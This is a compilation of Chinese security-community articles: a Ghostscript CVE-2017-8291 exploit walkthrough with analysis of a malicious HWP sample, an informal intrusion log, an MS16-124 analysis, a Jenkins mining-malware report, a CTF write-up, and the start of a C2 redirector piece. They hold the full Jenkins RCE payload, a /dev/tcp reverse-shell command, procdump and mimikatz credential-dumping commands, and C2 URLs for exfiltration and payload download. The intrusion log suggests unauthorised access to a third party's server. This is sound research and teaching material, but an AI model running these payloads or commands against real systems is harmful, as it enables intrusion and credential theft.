Part2能够得知`buffers[n]`为`buffersizes[n]
string`，且每个`buffers[n]`的最后16位均为`0xFF`，验证之：
`b zaload`于`zaload()`函数处设断，`c`继续执行，于`zaload()`函数处成功断下后，`s`单步执行到`if (asize >
ostop - op)`：
gdb-peda$ p asize
$37 = 0x3e8
gdb-peda$ p ostop-op
$38 = 0x31f
IF条件成立，那么调用`ref_stack_push()`函数(位于/psi/istack.c)重新分配栈空间：
/*
* Push N empty slots onto a stack. These slots are not initialized:
* the caller must immediately fill them. May return overflow_error
* (if max_stack would be exceeded, or the stack has no allocator)
* or gs_error_VMerror.
*/
int
ref_stack_push(ref_stack_t *pstack, uint count)
{
/* Don't bother to pre-check for overflow: we must be able to */
/* back out in the case of a VMerror anyway, and */
/* ref_stack_push_block will make the check itself. */
uint needed = count;
uint added;
for (; (added = pstack->top - pstack->p) < needed; needed -= added) {
int code;
pstack->p = pstack->top;
code = ref_stack_push_block(pstack,
(pstack->top - pstack->bot + 1) / 3,
added);
if (code < 0) {
/* Back out. */
ref_stack_pop(pstack, count - needed + added);
pstack->requested = count;
return code;
}
}
pstack->p += needed;
return 0;
}
之后的操作是向重新分配的栈空间中写入内容，`b zarray.c:71`于修改`osp`语句设断，`c`继续执行到断点处：
gdb-peda$ x /2gx osp
0x5555575006f8: 0x0000000000000e00 0x0000000000000000
gdb-peda$ x /2gx &aref
0x7fffffffc8e0: 0x000003e85715047c 0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /2gx osp
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
`x /222gx 0x5555572d5e60`查看`buffers`数组的每一项地址：
注意：osp(0x5555575006f8)位于上图箭头所指数组项下方。
* * *
实现`.eqproc`操作的函数`zeqproc()`(位于/psi/zmisc3.c)是第二个关键点。`.eqproc`是取出栈顶两个元素进行比较之后入栈一个布尔值(`<proc1>
<proc2> .eqproc <bool>`)：
可以看出其在取出两个操作数时并未检查栈中元素数量，且并未检查两个操作数类型，如此一来，任意两个操作数都可以拿来进行比较。其修复方案即是针对此两种情况：
--- a/psi/zmisc3.c
+++ b/psi/zmisc3.c
@@ -56,6 +56,12 @@ zeqproc(i_ctx_t *i_ctx_p)
ref2_t stack[MAX_DEPTH + 1];
ref2_t *top = stack;
+ if (ref_stack_count(&o_stack) < 2)
+ return_error(gs_error_stackunderflow);
+ if (!r_is_array(op - 1) || !r_is_array(op)) {
+ return_error(gs_error_typecheck);
+ }
+
make_array(&stack[0].proc1, 0, 1, op - 1);
make_array(&stack[0].proc2, 0, 1, op);
for (;;) {
`b zeqproc`设断后，`c`继续执行，于`zeqproc()`函数处成功断下。接下来`b zmisc3.c:112`于`make_false(op
- 1);`设断：
gdb-peda$ b zmisc3.c:112
Breakpoint 13 at 0x555555d1d754: file ./psi/zmisc3.c, line 112.
gdb-peda$ c
......
gdb-peda$ p osp
$66 = (s_ptr) 0x5555575006f8
gdb-peda$ x /4gx osp-1
0x5555575006e8: 0x0000000000000e02 0x0000000000000000
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
gdb-peda$ s
......
gdb-peda$ x /4gx osp-1
0x5555575006e8: 0x0000000000000100 0x0000000000000000
0x5555575006f8: 0x000003e85715047c 0x000055555796c3e8
可以看到`make_false()`修改之处。之后的`pop(1);`将栈指针上移，如此一来`.eqproc`与`loop`结合便可导致栈指针上溢。
* * *
下面来看POC Part3：
其通过`buffersearchvars`数组来检索`buffers[N]`字符串后16位是否被`make_false()`修改，进而判断`osp`是否到达可控范围，并通过`buffersearchvars`数组来保存位置。
于POC中`254 le {`后添加`(Overwritten)
print`,并将之前添加的`print`语句全部注释掉。重新启动GDB，设置参数见上，`b zprint`设断后，`r`开始运行，成功断下后：
gdb-peda$ x /8gx osp-2
0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000
0x5555574fc968: 0x0000a604ffff127e 0x00005555574f2364
0x5555574fc978: 0x0000000a2f6e127e 0x00005555575de0fb
0x5555574fc988: 0x5245504150200b02 0x0000000000000001
如此一来，buffersearchvars[2]设为1，退出`loop`循环。buffersearchvars[3]保存当前检索的buffers[N]，buffersearchvars[4]保存buffersizes[N]-16。
* * *
POC
Part4是修改currentdevice对象属性为string，并保存至`sdevice`数组中，之后再覆盖其LockSafetyParams属性，达到Bypass
SAFER。
三个`.eqproc`语句上移osp是因为后面会有`sdevice`、0、`currentdevice`入栈。修改POC如下，便于设断：
(before zeqproc) print
.eqproc
.eqproc
.eqproc
sdevice 0
currentdevice
(before convert) print
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put
(after convert) print
put
buffersearchvars 0 get array aload
sdevice 0 get
16#3e8 0 put
sdevice 0 get
16#3b0 0 put
sdevice 0 get
16#3f0 0 put
(bypass SAFER) print
于`zprint`断下后，查看上移前osp：
gdb-peda$ p osp
$1 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x0000000000000000 0x0000000000000000 //sdevice
0x5555574fc948: 0x0000000000000000 0x0000000000000000 //0
0x5555574fc958: 0xffffffffffff0100 0xffffffffffff0000 //currentdevice
0x5555574fc968: 0x0000000effff127e 0x00005555572d8140
0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d8140
0x00005555572d8140 : 62 65 66 6f 72 65 20 7a 65 71 70 72 6f 63 ed 3e before zeqproc.>
`c`继续向下执行：
gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428
0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000
0x5555574fc958: 0xffffffffffff1378 0x000055555709d488
0x5555574fc968: 0x0000000effff127e 0x00005555572d812a
0x5555574fc978: 0x00000001ffff04fe 0x00005555572d6c40
gdb-peda$ hexdump 0x00005555572d812a
0x00005555572d812a : 62 65 66 6f 72 65 20 63 6f 6e 76 65 72 74 96 3f before convert.?
可以看到`currentdevice`已经覆盖掉之前的字符串buffers[N]，接下来的三条语句修改其属性：
buffersearchvars 3 get buffersearchvars 4 get 16#7e put
buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put %0x127e表示string
buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put %修改size
关于属性各字段定义见tas_s结构(位于/psi/iref.h))：
struct tas_s {
/* type_attrs is a single element for fast dispatching in the interpreter */
ushort type_attrs;
ushort _pad;
uint32_t rsize;
};
修改完成：
gdb-peda$ c
......
gdb-peda$ p osp
$2 = (s_ptr) 0x5555574fc968
gdb-peda$ x /10gx osp-3
0x5555574fc938: 0x00000001ffff047e 0x00005555575d4428
0x5555574fc948: 0x00000252ffff0b02 0x0000000000000000
0x5555574fc958: 0xffffffffffff127e 0x000055555709d488
0x5555574fc968: 0x0000000dffff127e 0x00005555572d8115
0x5555574fc978: 0x00000002ffff0b02 0x000000000000a5f9
gdb-peda$ hexdump 0x00005555572d8115
0x00005555572d8115 : 61 66 74 65 72 20 63 6f 6e 76 65 72 74 97 3f 00 after convert.?.
查看此时的`LockSafetyParams`值：
gdb-peda$ x /4gx 0x000055555709d488+0x3e8
0x55555709d870: 0x0000000000000001 0x0000000000000000
0x55555709d880: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3b0
0x55555709d838: 0x0000000000000000 0x0000000000000000
0x55555709d848: 0x0000000000000000 0x0000000000000000
gdb-peda$ x /4gx 0x000055555709d488+0x3f0
0x55555709d878: 0x0000000000000000 0x0000000000000000
0x55555709d888: 0x0000000000000000 0x0000000000000000
可以看到偏移`0x3e8`处值为1(另外两处偏移应该是针对其他系统或版本)。`LockSafetyParams`属性见`gx_device_s`结构(位于\base\gxdevcli.h)。
最后通过`.putdeviceparams`(实现位于/psi/zdevice.c)设置`/OutputFile`为`(%pipe%echo
vulnerable > /dev/tty)`，`.outputpage`完成调用。
## 0x02 样本分析
> 样本名称：(첨부2)20-0206_법인_운영상황_평가표_서식(법인작성용).hwp
>
> MD5：8AD471517E7457EB6EEA5E3039A3334F
#### 0x02.1 文档分析
HwpScan2查看该文档，可以看到其中的EPS脚本：
导出解压后的PS脚本，解密其中的`ar`变量：
解密出来之后可以看到其中CVE-2017-8291利用部分：
label13 label10 aload
/label82 true def
/label83 0 def
{
.eqproc
/label84 true def
/label69 0 def
label6
{
/label84 true def
/label3 label7 label69 get def
/label85 label3 length 16#20 sub def
label3 label85 get
{
label84
{ /label84 false def }
{ /label84 true def exit }
ifelse
}
repeat
label84
{ /label82 false def exit }
if
/label69 label69 1 add def
}
repeat
label84
{ /label82 false def exit }
if
/label83 label83 1 add def
}
loop
label82
{ quit }
{ }
ifelse
label2 0 label2
label3 label85 16#18 add 16#7E put
label3 label85 16#19 add 16#12 put
label3 label85 16#1A add 16#00 put
label3 label85 16#1B add 16#80 put
put
继续向下分析，可以看到其调用了`VirtualProtect()`：
`OllDbg`中打开`gbb.exe`，之后修改命令行，其参数为打开文档后于Temp目录下释放的EPS脚本(即HwpScan2中的BIN0001.eps)完整路径：
于`VirtualProtect()`函数处设断后F9，成功断下：
通过ECX给sub_02544D7D传递参数获取系统函数调用地址：
调用`GetComputerName()`获取计算机名并于其后添加经过计算的十六进制值，之后通过异或及指定运算来为即将创建的文件命名：
于临时目录下创建文件：
之后再次计算一文件名并创建文件：
调用`ZwQuerySystemInformation()`遍历系统所有打开的句柄，此时`SystemInformationClass=SystemHandleInformation`，若缓冲区不足则把申请内存的大小扩大一倍之后调用`RtlReAllocateHeap()`再次申请，直至成功为止：
接下来调用`ZwQueryObject()`查询对象的类型，找到打开的EPS文件：
使用`CreateFileMapping()`和`MapViewOfFile()`函数将EPS文件映射到进程内存空间中：
映射完成：
移动指针指向EPS脚本最后部分(即使用HwpScan2查看文档时截图中红色箭头所指处)：
调用`VirtualAlloc()`函数为其开辟内存空间：
解密并写入到分配的内存空间中：
实际上解密后的该部分将被注入到`HimTrayIcon.exe`进程中，详见下文分析。
获取当前系统内所有进程的快照之后通过`Process32Next()`枚举进程：
遍历线程，找到`HimTrayIcon.exe`之后打开并挂起线程：
将解密出来的Shellcode写入到进程：
之后调用`RtlCreateUserThread()`函数恢复线程的执行。最终释放内存空间并退出：
#### 0x02.2 注入Shellcode分析
其注入Shellcode可以附加`HimTrayIcon.exe`之后调试，亦可将Shellcode转成exe之后调试，笔者选择转成exe之后再进行调试。解密内存中的PE文件：
获取系统文件夹并拼接路径：
创建进程：
调用`GetThreadContext()`函数，若失败则直接`TerminateProcess`：
获取系统版本信息，以此来判断下一步如何执行：
多次调用`WriteProcessMemory()`函数于创建的进程中写入PE文件内容：
恢复线程执行：
#### 0x02.3 `userinit.exe`分析
首先是创建一互斥对象并判断是否存在相同名称的互斥对象：
之后为当前进程获取`SeDebugPrivilege`权限：
通过注册表判断当前运行环境是否为虚拟机中运行：
若非虚拟机运行环境，则获取函数调用地址：
于`%APPDATA%`目录下创建一`\Microsoft\Network`子目录：
其中`xyz`文件用于存储后续收集到的主机信息。于临时目录下创建一`.bat`文件(据系统时间随机命名)：
之后向该文件内写入内容，同时调用`WinExec()`执行之，用于获取主机信息：
加密获取到的主机信息：
之后拼接请求参数：
向`http://pingball[.]mygamesonline[.]org/home/jpg/post.php`发送加密后数据：
接下来向`http://pingball[.]mygamesonline[.]org/home/jpg/download.php`请求下一阶段载荷：
若下载成功，将其写入到`zyx.dll`文件中：
由于并未获取到该文件，故分析到此结束。
## 0x03 参考链接
* [Wikipedia](https://zh.wikipedia.org/wiki/PostScript)
* [官方参考文档](https://web.archive.org/web/20170218093716/https://www.adobe.com/products/postscript/pdfs/PLRM.pdf)
* [POC](https://raw.githubusercontent.com/rapid7/metasploit-framework/master/data/exploits/CVE-2017-8291/msf.eps)
* [Ghostscript 9.21](https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/tag/gs921)
* [GhostButt - CVE-2017-8291利用分析](https://paper.seebug.org/310)
* [如何把shellcode转换成exe文件分析](https://www.freebuf.com/articles/web/152879.html) | 社区文章 |
朋友给了我一个jboss的站，让我看看，用反序列化直接拿下webshell，就不多说了
简单的看看能不能出网。
点击burp的collaborator client 然后点击copy to clipboard。
然后在cmd输入nslookup 你复制的内容，最最后看burp有没有回显。我这里是能出网的。
简单的关掉杀软想用cs上线。这里就不贴图了。但是却发现上不了线。只好简单粗暴的连3389
端口没有改，OK，先抓密码，
procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
sekurlsa::minidump lsass.dmp
log
sekurlsa::logonpasswords
当然这里提一句，这里的服务器为windows2012.如果遇见win2016这种新的，可能连hash都解不出来。我们可以用一下方法。
1.自己搭建一个win2016的服务器，在上面安装一个mimi再来解
2.用sqldump
sqldumper.exe pid 0 0x01100
此外，SqlDumper.exe默认存放在c:\Program Files\Microsoft SQL
Server\number\Shared，前提是改机器为sqlserver的机器。
抓下了密码，连3389.但是发现流量出不来。于是就用reg做代理
Python3 neoreg.py generate -k 123456 //生成密码
将tunnel.jsp上传到服务器，这里我改为2.jsp了
然后python3 neoreg.py -k 123456 -u <http://xx.xx.xx.xx:8080/2.jsp>
然后开始走代理。这个时候就需要配置Proxifier。本以为能顺利连接，结果一直出问题
百度了一下，说的答案就尼玛尼普，翻译人人话就是反正登不上，wrnm.当时我想不是那么多号吗，我换，于是换了几个都不行。然后我就将guest激活，加入管理组，还是登不上，于是又新创了一个管理组的账号，，还是登不上。我有点无语了。然后出于无赖，我觉得是代理的问题，然后将proxy退了，换了sockscap。
先添加代理，然后将进程加入进来，最后终于连接上了
是很奇葩，网络一直掉，最后一直把杀软关了。叫7k什么的，哈哈哈哈，但是最后还是上了cs.因为我同学要打嘛，然后就给他派生了一个becon。令人伤心的是这台域机器是工作组账号，虽然抓了域成员的账号，但是tm的密码失效了。
忘了给表哥们看看域的情况。
很难受，那只有从0渗透。于是就用这台机器本地的管理组壮壮密码，然后用cs批量装密码。
打过来打过去，就上了2台机器。然后在用打的机器抓取密码，再去撞，但是没有成果。于是乎有用k8哥哥的ladon去批量扫了一波ms17_010.但是msf都没有打下来。好难受呀。公司的表哥叫我用原生py。我觉得好麻烦，一台一台打，然后在派生过来，这个先搁置一旁吧，挂上代理看了一看web资产，感觉也没有什么用呀。
都深夜了，我还是先休息吧，剩下的机器后续在打，先把这儿记录一下。 | 社区文章 |
# 【漏洞分析】MS16-124：微软内核整型溢出漏洞
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://blog.fortinet.com/2016/10/31/microsoft-kernel-integer-overflow-vulnerability>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**翻译：[ **scriptkid**](http://bobao.360.cn/member/contribute?uid=2529059652)**
**稿费：60RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆[
**网页版**](http://bobao.360.cn/contribute/index)在线投稿**
**前言**
上个月我发现并报告了一个Windows注册表整型溢出漏洞，上星期二（2016.10.25）微软发布了该漏洞的修复补丁MS16-124并对该漏洞编号CVE-2016-0070。该漏洞可以导致本地权限提升，影响到多个版本的Windows，因此微软定义为“重要更新”，并建议用户及时安装本次更新。接下来的内容中将对该漏洞的详细信息进行介绍。
**漏洞复现**
复现该漏洞只需要以下几步：
1\. 以非管理员用户登录Windows7
2\. 运行regedit.exe打开注册表编辑器
3\. 选择注册表编辑器左边的“HKEY_USERS”
4\. 点击菜单“文件”=>“加载配置单元”
5\. 选择POC文件POC.hiv并打开
6\. 在弹出框中的“键值”中输入随意字符
7\. 接着你就可以看到蓝屏了，如下图
###
**漏洞分析**
该漏洞主要在解析构造的POC.hiv文件时触发，所以，我们先来瞧瞧这个文件长什么样，下图为POC.hiv文件的主要结构
正如图中标明部分所示，整型溢出发生在NKCELL结构中的ValueCount处，构造的值为0x80000001。根据本人的分析，漏洞存在于函数"CmpCheckKey"处，下面为该函数的代码片段：
PAGE:82C10E9B ; int __thiscall CmpCheckKey(int, char, int, int, ULONG_PTR BugCheckParameter3, PRTL_BITMAP BitMapHeader)
PAGE:82C10E9B _CmpCheckKey@24 proc near
...
PAGE:82C114C0 loc_82C114C0: ; CODE XREF: CmpCheckKey(x,x,x,x,x,x)+60Fj
PAGE:82C114C0 mov edx, [ebp+var_14] ; edx值为从POC偏移0x1048处获取的0x80000001
PAGE:82C114C3 shl edx, 2 ; edx乘4，这里导致整型溢出，然后edx值变为4
PAGE:82C114C6 cmp edx, 4
PAGE:82C114C9 jb short loc_82C11512 ; 比较的结果为false
PAGE:82C114CB mov ecx, [ebp+BugCheckParameter3]
PAGE:82C114CE mov eax, esi
PAGE:82C114D0 call _HvGetCellSize@8 ; HvGetCellSize(x,x)
PAGE:82C114D5 cmp edx, eax ; eax(0xc)与edx(4)进行比较
PAGE:82C114D7 ja short loc_82C11512 ; 比较结果为false
PAGE:82C114D9 lea eax, [ebp+var_C]
PAGE:82C114DC push eax
PAGE:82C114DD push [ebp+arg_4]
PAGE:82C114E0 mov al, [edi+2]
PAGE:82C114E3 push [ebp+var_14] ; 构造的ValueCount值0x80000001入栈
PAGE:82C114E6 shr al, 4
PAGE:82C114E9 and al, 1
PAGE:82C114EB push ecx
PAGE:82C114EC mov ecx, [ebp+BitMapHeader]
PAGE:82C114EF movzx eax, al
PAGE:82C114F2 push eax
PAGE:82C114F3 push esi
PAGE:82C114F4 lea edx, [ebp+var_10]
PAGE:82C114F7 call _CmpCheckValueList@32 ; 调用函数触发windows内核错误检查
PAGE:82C114FC test eax, eax
…
下面是函数“_CmpCheckValueList@32”的代码片段
PAGE:82C11F24 ; __stdcall CmpCheckValueList(x, x, x, x, x, x, x, x)
PAGE:82C11F24 _CmpCheckValueList@32 proc near
...
PAGE:82C17253 loc_82C17253: ; CODE XREF: CmpCheckValueList(x,x,x,x,x,x,x,x)+32Bj
PAGE:82C17253 mov ecx, [ebp+var_44]
PAGE:82C17256 cmp [ecx], eax
PAGE:82C17258 jnb short loc_82C1725C
PAGE:82C1725A mov [ecx], eax
PAGE:82C1725C
PAGE:82C1725C loc_82C1725C: ; CODE XREF: CmpCheckValueList(x,x,x,x,x,x,x,x)+334j
PAGE:82C1725C inc [ebp+var_20] ; [ebp+var_20]的值在第一次循环中变为1
PAGE:82C1725F add [ebp+var_38], 4
PAGE:82C17263 jmp loc_82C16F89 ; 跳转到第二层循环
...
PAGE:82C173FF loc_82C173FF: ; CODE XREF: CmpCheckValueList(x,x,x,x,x,x,x,x)+4D3j
PAGE:82C173FF push 0
PAGE:82C17401 push [ebp+arg_10]
PAGE:82C17404 mov eax, esi
PAGE:82C17406 call _HvMarkCellDirty@12 ; HvMarkCellDirty(x,x,x)
PAGE:82C1740B test al, al
PAGE:82C1740D jz loc_82C175B8
PAGE:82C17413 push 0
PAGE:82C17415 push dword ptr [edi+28h]
PAGE:82C17418 mov eax, esi
PAGE:82C1741A call _HvMarkCellDirty@12 ; HvMarkCellDirty(x,x,x)
PAGE:82C1741F test al, al
PAGE:82C17421 jz loc_82C175B8
PAGE:82C17427 dec dword ptr [edi+24h]
PAGE:82C1742A dec [ebp+arg_C] ; [ebp+arg_C]是作为调用的一个参数传进来的，值为0x80000001，这里减1
PAGE:82C1742D mov eax, [ebp+arg_C]
PAGE:82C17430 sub eax, [ebp+var_20] ; [ebp+var_20]是从上面的第一层循环中得到的，值为1.0x80000000减一得到0x7fffffff
PAGE:82C17433 shl eax, 2 ; eax乘4，得到0xfffffffc
PAGE:82C17436 push eax ; 构造的memcpy大小0xfffffffc入栈
PAGE:82C17437 mov eax, [ebp+var_38]
PAGE:82C1743A lea ecx, [eax+4]
PAGE:82C1743D push ecx ; void *
PAGE:82C1743E push eax ; void *
PAGE:82C1743F call _memmove ; 调用函数触发堆溢出
PAGE:82C17444 mov esi, [esi+28h]
...
下面是函数"_memmove"的代码片段：
...
.text:82A7C6AB and edx, 3
.text:82A7C6AE cmp ecx, 8 ; switch 8 cases
.text:82A7C6B1 jb short loc_82A7C6DC ;
.text:82A7C6B3 rep movsd ; 最后在这里因为复制内存大小过大堆溢出
.text:82A7C6B5 jmp ds:off_82A7C7CC[edx*4]
...
**总结**
该漏洞是在执行内存复制操作时由于整型溢出带动堆溢出造成的，成功利用该漏洞可以导致本地权限提升。 | 社区文章 |
# 简介
阿里云安全于近日捕获到一起使用Jenkins
RCE漏洞进行攻击的挖矿事件。除挖矿外，攻击者还曾植入具有C&C功能的tsunami木马，也预留了反弹shell的功能，给用户带来极大安全隐患。
由于攻击者直接复制了Jenkins系列漏洞发现者（Orange.tw）在博客上公布的poc，攻击payload含有"Orange.tw"字样，可能被误认为是漏洞发现者在进行测试，因此我们将木马命名为ImposterMiner（冒充者）。
本次事件具有两个特点：一是ImposterMiner木马开始爆发的时间距离Jenkins漏洞利用方法公开的时间极短，仅相隔2天；二是仅靠web漏洞直接入侵，不具有蠕虫传染性。这两点与不久前利用Nexus
Repository Manager 3新漏洞进行攻击的watchbog挖矿木马事件较为相似。
本文将分析ImposterMiner挖矿木马的结构，并就如何清理、预防类似挖矿木马给出安全建议。
# ImposterMiner挖矿木马分析
上图展示了ImposterMiner挖矿木马的感染流程。攻击者首先使用如下payload攻击jenkins服务
GET /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http://45.55.211.79/%27)%0a@Grab(group=%27tw.orange%27,%20module=%27poc%27,%20version=%278%27)%0aimport%20Orange; HTTP/1.1
Host:【victim_host】:【jenkins_port】
该payload使用了CVE-2019-1003000这个jenkins
RCE（远程命令执行）漏洞，导致受害主机请求<http://45.55.211.79/tw/orange/poc/8/poc-8.jar文件，并在本地执行。这里不难发现，攻击者只是简单修改了漏洞发现者博客上公开的代码，因而直接以orange.tw（漏洞发现者的名字）和poc(Proof>
of Concept，能够证明漏洞存在的代码，通常点到为止不造成实际损害)作为项目和模块名，乍看之下，非常容易将此次攻击误认为漏洞作者进行的无害的安全测试。
poc-8.jar的代码如下
其中请求的<http://45.55.211.79/.cache/jenkins/n2.sh脚本，将会创建/tmp/.scr文件夹，并请求下载45.55.211.79/.cache/jenkins/s.tar.gz：>
解压s.tar.gz得到如下左图所示文件夹，并运行右图中的go脚本，根据当前机器的架构，选择运行i686或x86_64。
i686和x86_64这两个程序都是xmrig改写而成的矿机，主要在nanopool.com矿池进行挖矿。它们还会将自身写入crontab文件，每分钟执行，进行持久化，此处不再赘述。
此外，45.55.211.79服务器上存有多种历史上曾经使用，或尚未启用的payload。
例如3月7日，阿里云安全曾捕获到攻击者使用图中文件夹poc/5/poc-5.jar中的payload，会导致被入侵主机下载解压并运行<http://45.55.211.79/.cache/jenkins/jks.tar.gz>
。该压缩包中包括tsunami木马变种，能够通过IRC接收下发指令并执行各种攻击，如下图所示。
又例如<http://45.55.211.79/.cache/jenkins/jen.pl>
会使被入侵主机反弹shell到190.121.18.164:1090
以上这些恶意文件的最后修改日期说明ImposterMiner的作者依然在频繁进行更新，同时还说明作者并不满足于在受害者主机上安静挖矿，而是时刻准备着将受害主机用作ddos肉鸡，或使用shell对主机进行任意操纵。
# 影响范围
根据阿里云安全监控到的入侵趋势（如下图），ImposterMiner挖矿木马从漏洞公布后仅两天（2月21日）就开始利用其进行攻击和挖矿，给用户留下的修复时间窗口非常小。
攻击数量于3月3日左右达到最高峰，并且至今仍保持着较高的水平。
攻击趋势示意图
ImposterMiner恶意挖矿木马当前使用的钱包地址为：
42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
从矿池数据看出，该地址HashRate波动较大，最高时达到236KH/s，平均值在150KH/s左右，可能已有1~2万台服务器被入侵挖矿。该钱包地址累计收益为169门罗币左右，约合9120美元。
除了上述地址外，攻击者还使用过至少一个不同的钱包地址：4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5。
# 安全建议
Jenkins作为最受欢迎的持续集成(CI)工具，使用量很大。上一次Jenkins远程命令执行漏洞(CVE-2017-1000353)的曝光，导致了“史上最大规模挖矿事件之一”，攻击者收益逾300万美元。
因此，Jenkins漏洞可能造成影响的范围巨大。这也导致逐利的攻击者对Jenkins虎视眈眈，一有新的漏洞便迅速加以利用；这次RCE漏洞从公开到开始被黑产利用仅花了2天，就是很好的证明。
针对此次安全事件，阿里云安全给出以下预防和清理建议：
1. 用户应及时升级包括Jenkins在内的各种软件，避免遭受类似此次ImposterMiner挖矿木马以Jenkins作为入口的攻击，导致生产系统的其他部分一并沦陷。怀疑已经受到感染的用户，可自查主机是否存在/tmp/.scr恶意目录，并根据自身情况考虑清空/tmp目录；使用ps命令查看是否存在名为"-bash"恶意进程；自查并清理crontab相关文件。
2. 建议使用阿里云安全的下一代云防火墙产品，其阻断恶意外联、能够配置智能策略的功能，能够有效帮助防御入侵。哪怕攻击者在主机上的隐藏手段再高明，下载、挖矿、反弹shell这些操作，都需要进行恶意外联；云防火墙的拦截将彻底阻断攻击链。此外，用户还可以通过自定义策略，直接屏蔽恶意网站，达到阻断入侵的目的。
3. 对于有更高定制化要求的用户，可以考虑使用阿里云安全管家服务。购买服务后将有经验丰富的安全专家提供咨询服务，定制适合您的方案，帮助加固系统，预防入侵。入侵事件发生后，也可介入直接协助入侵后的清理、事件溯源等，适合有较高安全需求的用户，或未雇佣安全工程师，但希望保障系统安全的企业。
# IOC
## 钱包地址
4B6GzzkQBgqbMraFa2FMnk4jKzFvxcqGNApKn6AK91R6KFgiWDKzhgWS864egV4HuHetns7yfYP9NDq234yxfNKEJWR4ga5
42X5Nwfs6kPcK5xZaV1mxnLpSqYst9d46Dx63tdtmHFZWdWPryNt5ZhZXFXLYm2yZLZt7xXC5zerGbqQi2X1MsTzA9whw2X
## 矿池地址
<https://www.supportxmr.com>
<https://xmr.nanopool.org>
## 恶意程序
## 恶意url
<http://45.55.211.79/.cache/jenkins/*>
<http://45.55.211.79/tw/orange/poc/*>
## 恶意主机
190.121.18.164
# Reference
* <http://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html>
* <https://research.checkpoint.com/jenkins-miner-one-biggest-mining-operations-ever-discovered/> | 社区文章 |
# swpu ctf 有趣的邮箱注册 详细题解
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 不得不说，swpu的师傅们出题还是很用心的，这道题目就很不错，既有前端xss，又有后端提权，可谓是非常全面了，下面我们就简单分析一下
题目地址为: <http://118.89.56.208:6324>
## 邮箱验证
首先打开题目，发现功能只有两个，一个是验证邮箱，另一个是管理后台，但是管理后台需要本地，那突破点就在邮箱验证了。
尝试提交邮箱，发现了代码泄露，给出了过滤方式：
于是开始尝试在email处尝试xss，经过google，发现了几种绕过，尝试了一下，发现只要使用`"poc"[@qq](https://github.com/qq
"@qq").com`类似的方法，就可以绕过过滤，然后构造xss的payload如下：
可以收到请求.
## 攻击local web
既然有了xss，我们首先读一下admin页面源码：
js构造如下：
然后收到请求，解码如下：
在页面中，发现了疑似命令执行的页面，尝试构造请求：
很快收到了结果：
但是一直这么请求，执行命令很麻烦，不如反弹个shell
## 反弹shell
这里直接用命令弹shell是很难成功的，因为有多重编码要考虑，因此采用写sh文件，然后执行sh文件弹shell的办法：
首先使用的写文件的技巧就是，base64
echo 'bHM=' | base64 -d > /tmp/xjb.sh
这个办法能很好的绕过很多编码，同理我们只要将`/bin/bash -i > /dev/tcp/ip/port 0<&1
2>&1`编码一下，然后放到上面的命令中，就可以成功将反弹shell的命令写入到文件中。
然后执行：
/bin/bash /tmp/xjb.sh
就可以成功弹到shell。
## flag读取不了？
我们查看了一下flag，发现我们并没有办法读取，没有权限，只有flag用户才能读。
继续翻发现了一个新目录：
进入以后，发现了一个新的web应用，看下权限：
只有backup.php 可以看，代码如下：
访问目录发现有上传和备份的功能，备份代码给出了。
## 分析思路
既然现在我们没有办法直接读取flag，那就只能让flag用户或者高权限用户帮我们读了，看了看这个tar命令，总觉得不对，在搜索中发现利用tar来提权执行脚本的操作，具体文章戳[这里](https://blog.csdn.net/qq_27446553/article/details/80943097).
正如文章中讲到，使用tar命令可以配合执行自定义脚本，那这个看似没有可控点的命令执行，就变得可以利用了：
攻击思路整理如下：
#### 制作上传恶意文件
使用文章中的命令，制作恶意文件名的文件：
其中1.sh 的内容是：
## 备份触发bash脚本，获取flag
只要访问backup.php ，即可成功触发漏洞，获取flag
## 后记
题目做完，思路可以总结为 bypass FILTER_VALIDATE_EMAIL然后xss，攻击只有本地才能访问的local
web应用，从而拿到机器shell，然后继续攻击内网web题目，使用tar提权查看flag，确实学到了不少东西，如果有别的思路可以同样交流探讨。 | 社区文章 |
# 用Apache mod_rewrite来保护你的Empire C2
|
##### 译文声明
本文是翻译文章，文章来源：https://thevivi.net/
原文地址：<https://thevivi.net/2017/11/03/securing-your-empire-c2-with-apache-mod_rewrite/>
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
由于红色团队(red teamers)发布了红色团队维基基础架构(Red Team Infrastructure
Wiki)，圣诞节似乎更早的来到了。它首次出场于Jeff Dimmock和Steve
Borosh的红色团队基础架构的演讲。在设计和保护您的基础架构时，我甚至无法研究wiki这样的无价之宝。请您阅读这篇文章，来领略我的意思。
Wiki强调的一个关键设计因素是在您的基础设施设置中使用重定向器。重定向可以应用于基础架构的几乎所有功能
